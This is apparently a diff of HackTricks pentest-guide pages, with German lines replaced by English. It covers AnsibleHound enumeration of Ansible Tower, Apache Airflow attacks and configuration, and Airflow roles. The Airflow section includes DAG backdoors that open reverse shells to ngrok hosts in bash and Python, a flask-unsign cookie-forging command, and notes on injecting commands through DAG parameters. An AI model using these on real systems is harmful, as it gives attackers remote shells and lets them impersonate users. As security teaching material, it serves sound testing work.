1. Die Tower/AWX REST API ist äußerst umfangreich und gibt **jedes Objekt und jede RBAC-Beziehung** preis, die Ihre Instanz kennt.
2. Selbst mit dem niedrigsten Berechtigungs-Token (**Lesen**) ist es möglich, alle zugänglichen Ressourcen (Organisationen, Inventare, Hosts, Berechtigungen, Projekte, Jobvorlagen, Benutzer, Teams…) rekursiv aufzulisten.
3. Wenn die Rohdaten in das BloodHound-Schema umgewandelt werden, erhalten Sie die gleichen *Angriffsweg*-Visualisierungsfähigkeiten, die in Active Directory-Bewertungen so beliebt sind aber jetzt auf Ihre CI/CD-Umgebung gerichtet.
### Why is this useful?
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments but now directed at your CI/CD estate.
Sicherheitsteams (und Angreifer!) können daher:
* Schnell verstehen, **wer Administrator von was werden kann**.
* **Berechtigungen oder Hosts identifizieren, die von einem unprivilegierten Konto erreichbar sind**.
* Mehrere „Lesen ➜ Verwenden ➜ Ausführen ➜ Admin“-Kanten verknüpfen, um die vollständige Kontrolle über die Tower-Instanz oder die zugrunde liegende Infrastruktur zu erlangen.
Security teams (and attackers!) can therefore:
* Quickly understand **who can become admin of what**.
* Identify **credentials or hosts that are reachable** from an unprivileged account.
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
### Voraussetzungen
* Ansible Tower / AWX / Automation Controller über HTTPS erreichbar.
* Ein Benutzer-API-Token, das nur auf **Lesen** beschränkt ist (erstellt aus *Benutzerdetails → Tokens → Token erstellen → Umfang = Lesen*).
* Go ≥ 1.20, um den Sammler zu kompilieren (oder verwenden Sie die vorgefertigten Binärdateien).
### Prerequisites
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
### Erstellen & Ausführen
### Building & Running
```bash
# Compile the collector
cd collector
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
Internally führt AnsibleHound *seitengestützte* `GET`-Anfragen gegen (mindestens) die folgenden Endpunkte durch und folgt automatisch den `related`-Links, die in jedem JSON-Objekt zurückgegeben werden:
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
```
/api/v2/organizations/
/api/v2/inventories/
@@ -173,32 +175,37 @@ Internally führt AnsibleHound *seitengestützte* `GET`-Anfragen gegen (mindeste
/api/v2/users/
/api/v2/teams/
```
Alle gesammelten Seiten werden in einer einzelnen JSON-Datei auf der Festplatte zusammengeführt (Standard: `ansiblehound-output.json`).
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
### BloodHound Transformation
Die Rohdaten von Tower werden dann **in BloodHound OpenGraph umgewandelt** unter Verwendung von benutzerdefinierten Knoten, die mit `AT` (Ansible Tower) vorangestellt sind:
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
Und Kanten, die Beziehungen / Berechtigungen modellieren:
And edges modelling relationships / privileges:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
Das Ergebnis kann direkt in BloodHound importiert werden:
The result can be imported straight into BloodHound:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Optional können Sie **benutzerdefinierte Symbole** hochladen, damit die neuen Knotentypen visuell unterscheidbar sind:
Optionally you can upload **custom icons** so that the new node types are visually distinct:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Defensive & Offensive Considerations
* Ein *Read*-Token wird normalerweise als harmlos angesehen, aber es leakt dennoch die **vollständige Topologie und alle Anmeldeinformationen-Metadaten**. Behandle es als sensibel!
* Erzwinge **geringste Privilegien** und rotiere / widerrufe ungenutzte Tokens.
* Überwache die API auf übermäßige Enumeration (mehrere aufeinanderfolgende `GET`-Anfragen, hohe Paginierungsaktivität).
* Aus der Perspektive eines Angreifers ist dies eine perfekte *initial foothold → privilege escalation*-Technik innerhalb der CI/CD-Pipeline.
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
* Enforce **least privilege** and rotate / revoke unused tokens.
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
## References
* [AnsibleHound BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,22 +1,23 @@
# Apache Airflow Sicherheit
# Apache Airflow Security
{{#include ../../banners/hacktricks-training.md}}
### Grundinformationen
### Basic Information
[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Arrangierens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
Im Grunde wird Apache Airflow Ihnen ermöglichen, **die Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
### Lokales Labor
### Local Lab
#### Docker-Compose
Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
#### Minikube
Eine einfache Möglichkeit, **Apache Airflow** auszuführen, besteht darin, es **mit Minikube** auszuführen:
One easy way to **run apache airflo**w is to run it **with minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -26,9 +27,10 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
### Airflow-Konfiguration
Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie können schwache Konfigurationen finden:
### Airflow Configuration
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
{{#ref}}
airflow-configuration.md
@@ -36,62 +38,65 @@ airflow-configuration.md
### Airflow RBAC
Bevor Sie mit dem Angriff auf Airflow beginnen, sollten Sie verstehen, **wie Berechtigungen funktionieren**:
Before start attacking Airflow you should understand **how permissions work**:
{{#ref}}
airflow-rbac.md
{{#endref}}
### Angriffe
### Attacks
#### Webkonsole Enumeration
#### Web Console Enumeration
Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen:
If you have **access to the web console** you might be able to access some or all of the following information:
- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
- Greifen Sie darauf zu unter `http://<airflow>/connection/list/`
- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert werden)
- Liste der **Benutzer & Rollen**
- **Code jedes DAG** (der interessante Informationen enthalten könnte)
- **Variables** (Custom sensitive information might be stored here)
- **Connections** (Custom sensitive information might be stored here)
- Access them in `http://<airflow>/connection/list/`
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
- List **users & roles**
- **Code of each DAG** (which might contain interesting info)
#### Abrufen von Variablenwerten
#### Retrieve Variables Values
Variablen können in Airflow gespeichert werden, damit die **DAGs** auf ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http://<airflow>/variable/list/` abrufen.\
Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**dieser**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** in der **GUI** als **Sternchen** angezeigt wird.
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
![](<../../images/image (164).png>)
Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und **sogar die GUI selbst!** abgerufen werden.\
Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\
Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten:
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
![](<../../images/image (152).png>)
#### Privilegieneskalation
#### Privilege Escalation
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber hinaus** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE in Airflow worker)
Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert** sind, können Sie einfach **einen erstellen**, der Ihnen eine **Reverse-Shell** sendet.\
Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird:
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
Note that this reverse shell is going to be executed inside an **airflow worker container**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
@@ -100,66 +105,74 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE im Airflow-Scheduler)
Wenn Sie etwas auf **der Wurzel des Codes ausführen** lassen, wird es zum Zeitpunkt des Schreibens **vom Scheduler ausgeführt**, nachdem es ein paar Sekunden lang im DAG-Ordner platziert wurde.
#### DAG Backdoor (RCE in Airflow scheduler)
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG-Erstellung
Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im `dags/`-Ordner erstellen, und sie werden **im Rest der Maschinen** im DAG-Cluster **repliziert**.
#### DAG Creation
#### DAG-Code-Injection
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\
Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\
Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
#### DAG Code Injection
Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden.
When you execute a DAG from the GUI you can **pass arguments** to it.\
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **zugegriffen mit**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Wenn sie beispielsweise innerhalb eines Bash-Befehls verwendet werden, könnten Sie eine Befehlsinjektion durchführen.
If they are used for example inside a a bash command, you could perform a command injection.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,105 +1,114 @@
# Airflow-Konfiguration
# Airflow Configuration
{{#include ../../banners/hacktricks-training.md}}
## Konfigurationsdatei
## Configuration File
**Apache Airflow** generiert eine **Konfigurationsdatei** auf allen Airflow-Maschinen namens **`airflow.cfg`** im Home-Verzeichnis des Airflow-Benutzers. Diese Konfigurationsdatei enthält Konfigurationsinformationen und **kann interessante und sensible Informationen enthalten.**
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
**Es gibt zwei Möglichkeiten, auf diese Datei zuzugreifen: Indem man eine Airflow-Maschine kompromittiert oder auf die Webkonsole zugreift.**
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
Beachten Sie, dass die **Werte in der Konfigurationsdatei** **nicht die verwendeten sein müssen**, da Sie sie überschreiben können, indem Sie Umgebungsvariablen wie `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` setzen.
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Wenn Sie Zugriff auf die **Konfigurationsdatei im Webserver** haben, können Sie die **tatsächliche laufende Konfiguration** auf derselben Seite überprüfen, auf der die Konfiguration angezeigt wird.\
Wenn Sie **Zugriff auf eine Maschine innerhalb der Airflow-Umgebung** haben, überprüfen Sie die **Umgebung**.
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
If you have **access to some machine inside the airflow env**, check the **environment**.
Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüfen sollten:
Some interesting values to check when reading the config file:
### \[api]
- **`access_control_allow_headers`**: Dies gibt die **erlaubten** **Header** für **CORS** an.
- **`access_control_allow_methods`**: Dies gibt die **erlaubten Methoden** für **CORS** an.
- **`access_control_allow_origins`**: Dies gibt die **erlaubten Ursprünge** für **CORS** an.
- **`auth_backend`**: [**Laut den Dokumenten**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) können einige Optionen vorhanden sein, um zu konfigurieren, wer auf die API zugreifen kann:
- `airflow.api.auth.backend.deny_all`: **Standardmäßig kann niemand** auf die API zugreifen.
- `airflow.api.auth.backend.default`: **Jeder kann** ohne Authentifizierung darauf zugreifen.
- `airflow.api.auth.backend.kerberos_auth`: Um **Kerberos-Authentifizierung** zu konfigurieren.
- `airflow.api.auth.backend.basic_auth`: Für **Basis-Authentifizierung**.
- `airflow.composer.api.backend.composer_auth`: Verwendet die Authentifizierung von Composern (GCP) (von [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Dies gibt die **Rolle** an, die der **Composer-Benutzer** innerhalb von **Airflow** erhält (**Op** standardmäßig).
- Sie können auch **Ihre eigene Authentifizierung**smethode mit Python erstellen.
- **`google_key_path`:** Pfad zum **GCP-Dienstkonto-Schlüssel**.
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- You can also **create you own authentication** method with python.
- **`google_key_path`:** Path to the **GCP service account key**
### **\[atlas]**
- **`password`**: Atlas-Passwort.
- **`username`**: Atlas-Benutzername.
- **`password`**: Atlas password
- **`username`**: Atlas username
### \[celery]
- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_).
- **`result_backend`**: Postgres-URL, die **Anmeldeinformationen** enthalten kann.
- **`ssl_cacert`**: Pfad zum cacert.
- **`ssl_cert`**: Pfad zum Zertifikat.
- **`ssl_key`**: Pfad zum Schlüssel.
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url which may contain **credentials**.
- **`ssl_cacert`**: Path to the cacert
- **`ssl_cert`**: Path to the cert
- **`ssl_key`**: Path to the key
### \[core]
- **`dag_discovery_safe_mode`**: Standardmäßig aktiviert. Beim Entdecken von DAGs werden alle Dateien ignoriert, die nicht die Zeichenfolgen `DAG` und `airflow` enthalten.
- **`fernet_key`**: Schlüssel zum Speichern verschlüsselter Variablen (symmetrisch).
- **`hide_sensitive_var_conn_fields`**: Standardmäßig aktiviert, verbirgt sensible Informationen zu Verbindungen.
- **`security`**: Welches Sicherheitsmodul verwendet werden soll (zum Beispiel Kerberos).
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that dont contain the strings `DAG` and `airflow`.
- **`fernet_key`**: Key to store encrypted variables (symmetric)
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
- **`security`**: What security module to use (for example kerberos)
### \[dask]
- **`tls_ca`**: Pfad zur CA.
- **`tls_cert`**: Pfad zum Zertifikat.
- **`tls_key`**: Pfad zum TLS-Schlüssel.
- **`tls_ca`**: Path to ca
- **`tls_cert`**: Part to the cert
- **`tls_key`**: Part to the tls key
### \[kerberos]
- **`ccache`**: Pfad zur ccache-Datei.
- **`forwardable`**: Standardmäßig aktiviert.
- **`ccache`**: Path to ccache file
- **`forwardable`**: Enabled by default
### \[logging]
- **`google_key_path`**: Pfad zu GCP JSON-Anmeldeinformationen.
- **`google_key_path`**: Path to GCP JSON creds.
### \[secrets]
- **`backend`**: Vollständiger Klassenname des Secrets-Backends, das aktiviert werden soll.
- **`backend_kwargs`**: Der Parameter backend_kwargs wird in ein Wörterbuch geladen und an **init** der Secrets-Backend-Klasse übergeben.
- **`backend`**: Full class name of secrets backend to enable
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
### \[smtp]
- **`smtp_password`**: SMTP-Passwort.
- **`smtp_user`**: SMTP-Benutzer.
- **`smtp_password`**: SMTP password
- **`smtp_user`**: SMTP user
### \[webserver]
- **`cookie_samesite`**: Standardmäßig ist es **Lax**, also ist es bereits der schwächste mögliche Wert.
- **`cookie_secure`**: Setzt das **sichere Flag** für das Sitzungscookie.
- **`expose_config`**: Standardmäßig ist es False, wenn es wahr ist, kann die **Konfiguration** von der Web-**Konsole** **gelesen** werden.
- **`expose_stacktrace`**: Standardmäßig ist es True, es zeigt **Python-Tracebacks** an (potenziell nützlich für einen Angreifer).
- **`secret_key`**: Dies ist der **Schlüssel, der von Flask verwendet wird, um die Cookies zu signieren** (wenn Sie dies haben, können Sie **jeden Benutzer in Airflow impersonieren**).
- **`web_server_ssl_cert`**: **Pfad** zum **SSL**-**Zertifikat**.
- **`web_server_ssl_key`**: **Pfad** zum **SSL**-**Schlüssel**.
- **`x_frame_enabled`**: Standard ist **True**, sodass standardmäßig Clickjacking nicht möglich ist.
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
- **`cookie_secure`**: Set **secure flag** on the the session cookie
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
### Web-Authentifizierung
### Web Authentication
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
Standardmäßig ist die **Web-Authentifizierung** in der Datei **`webserver_config.py`** angegeben und konfiguriert als
```bash
AUTH_TYPE = AUTH_DB
```
Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Es sind jedoch auch andere Konfigurationen möglich, wie
Which means that the **authentication is checked against the database**. However, other configurations are possible like
```bash
AUTH_TYPE = AUTH_OAUTH
```
Um die **Authentifizierung an Drittanbieterdienste** zu übergeben.
Es gibt jedoch auch eine Option, **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird:
To leave the **authentication to third party services**.
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,40 +4,43 @@
## RBAC
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird standardmäßig mit einem **Set von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen.
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
- **`Admin`**-Benutzer haben alle möglichen Berechtigungen.
- **`Public`**-Benutzer (anonym) haben keine Berechtigungen.
- **`Viewer`**-Benutzer haben eingeschränkte Ansichtsberechtigungen (nur lesen). Er **kann die Konfiguration nicht sehen.**
- **`User`**-Benutzer haben `Viewer`-Berechtigungen plus zusätzliche Benutzerberechtigungen, die es ihm ermöglichen, DAGs ein wenig zu verwalten. Er **kann die Konfigurationsdatei sehen.**
- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Op-Berechtigungen.
- **`Admin`** users have all possible permissions.
- **`Public`** users (anonymous) dont have any permissions.
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
- **`Op`** users have `User` permissions plus additional op permissions.
Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **feineren Berechtigungen** erstellen können.
Note that **admin** users can **create more roles** with more **granular permissions**.
Beachten Sie auch, dass die einzige Standardrolle mit **Berechtigung zur Auflistung von Benutzern und Rollen Admin ist, nicht einmal Op** wird in der Lage sein, dies zu tun.
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
### Standardberechtigungen
### Default Permissions
Dies sind die Standardberechtigungen pro Standardrolle:
These are the default permissions per default role:
- **Admin**
\[kann löschen auf Connections, kann lesen auf Connections, kann bearbeiten auf Connections, kann erstellen auf Connections, kann lesen auf DAGs, kann bearbeiten auf DAGs, kann löschen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann bearbeiten auf Task Instances, kann löschen auf DAG Runs, kann erstellen auf DAG Runs, kann bearbeiten auf DAG Runs, kann lesen auf Audit Logs, kann lesen auf ImportError, kann löschen auf Pools, kann lesen auf Pools, kann bearbeiten auf Pools, kann erstellen auf Pools, kann lesen auf Providers, kann löschen auf Variables, kann lesen auf Variables, kann bearbeiten auf Variables, kann erstellen auf Variables, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Configurations, kann lesen auf Plugins, kann lesen auf Roles, kann lesen auf Permissions, kann löschen auf Roles, kann bearbeiten auf Roles, kann erstellen auf Roles, kann lesen auf Users, kann erstellen auf Users, kann bearbeiten auf Users, kann löschen auf Users, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances, kann erstellen auf Task Instances, kann löschen auf Task Instances, Menüzugang auf Admin, Menüzugang auf Configurations, Menüzugang auf Connections, Menüzugang auf Pools, Menüzugang auf Variables, Menüzugang auf XComs, kann löschen auf XComs, kann lesen auf Task Reschedules, Menüzugang auf Task Reschedules, kann lesen auf Triggers, Menüzugang auf Triggers, kann 